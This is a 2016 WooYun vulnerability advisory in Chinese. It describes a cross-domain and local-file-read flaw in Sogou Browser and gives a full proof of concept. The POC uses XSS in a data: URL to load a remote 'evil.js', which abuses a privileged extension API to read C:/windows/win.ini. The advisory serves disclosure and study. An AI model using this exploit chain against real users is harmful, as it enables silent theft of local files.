当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176436

漏洞标题:搜狗浏览器跨域漏洞+本地文件泄露漏洞(附带POC代码)

相关厂商:搜狗

漏洞作者: 隐形人真忙

提交时间:2016-02-17 15:40

修复时间:2016-05-21 10:50

公开时间:2016-05-21 10:50

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-21: 厂商已经确认,细节仅向厂商公开
2016-02-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-16: 细节向核心白帽子及相关领域专家公开
2016-04-26: 细节向普通白帽子公开
2016-05-06: 细节向实习白帽子公开
2016-05-21: 细节向公众公开

简要描述:

都怪二哥!现在命令执行越来越难挖了!

详细说明:

最新版本的搜狗浏览器:

1.png


在研究插件的时候,发现了一个勉强算是本地域的东西:
data:text/html,chromewebdata

2.png


看到页面上有URL上的回显,测试一下:

3.png


既然有回显,自然而然上payload进行测试,提交:

4.png


发现了XSS,又测试发现,这个域居然支持调用external中的方法,并且很全且没有限制。于是想找个命令执行的方法。但是现在搜狗浏览器加固了协议跳转,不允许http域向插件域进行跳转,于是测试该域下能否跳转,结果会被当做弹出窗口拦截。
所以只能看看external接口中是否可以继续利用的了。
在侧边栏管理页面中,通读代码,发现一处片段:

getAllSidebarExts: function() {
window.external.extension("getAllSidebarExts", "objUtil.onGotAllSidebarExts");
},
getRecommendSidebarExts: function(strUrl) {
window.external.extension("getRecommendSidebarExts", ""/* url */, "objUtil.onGotRecommendSidebarExts");
},
installExt: function(objExtInfo) {
// ui
objExtInfo.target.textContent = "安装中...";
// call browser
window.external.extension("installExtFromSidebarBox", objExtInfo.extKey, objExtInfo.extVersion, objExtInfo.extTitle, '' + objExtInfo.extPos, '' + objExtInfo.extSidePos, objExtInfo.extTitle, "objUtil.onInstallExtCallback");
},


在extension函数中,第一个参数为getRecommendSidebarExts时,根据该参数的名字,推测应该是推荐插件的列表,第二个参数是url,第三个参数是回调。
自己定义一个回调函数,看看arguments里都有啥:

5.png


居然可以拿到针对于第二个参数url的response,由于是特权API,所以也不存在SOP策略了。
测试一下本地文件:

6.png


也是可以返回的,既然支持file域请求,那么就可以通过读取本地的文件夹找到敏感文件名,直接对本地文件进行读取了。
POC:

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<a href="data:text/html,chromewebdata<img src=x onerror=location.href='se-extension://ext15485894/html/balloon_for_mse.html'>" rel="noreferrer">click</a>
<script>
location.href = "data:text/html,chromewebdata<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='**.**.**.**/browser/evil.js'>";
</script>
</body>
</html>


evil.js:

function ov(){
data = arguments[0] ;
data = JSON.parse(data) ;
console.log(data) ;
}
var data ;
window.external.extension("getRecommendSidebarExts", "file:///C:/windows/win.ini", "ov");

漏洞证明:

见详细说明

修复方案:

见详细说明

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-02-21 10:47

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-17 16:38 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)

    前排抢座,你果然还是挖出来了哈哈哈……

  2. 2016-02-17 16:41 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    niubility

  3. 2016-02-17 17:42 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)

    http://ceukelai.re/a-tale-of-two-offline-chrome-uxss-vulns/ 这个吗

  4. 2016-02-21 23:30 | 隐形人真忙 ( 普通白帽子 | Rank:169 漏洞数:21 | 关注安全研发与漏洞)

    @牛肉包子 并不是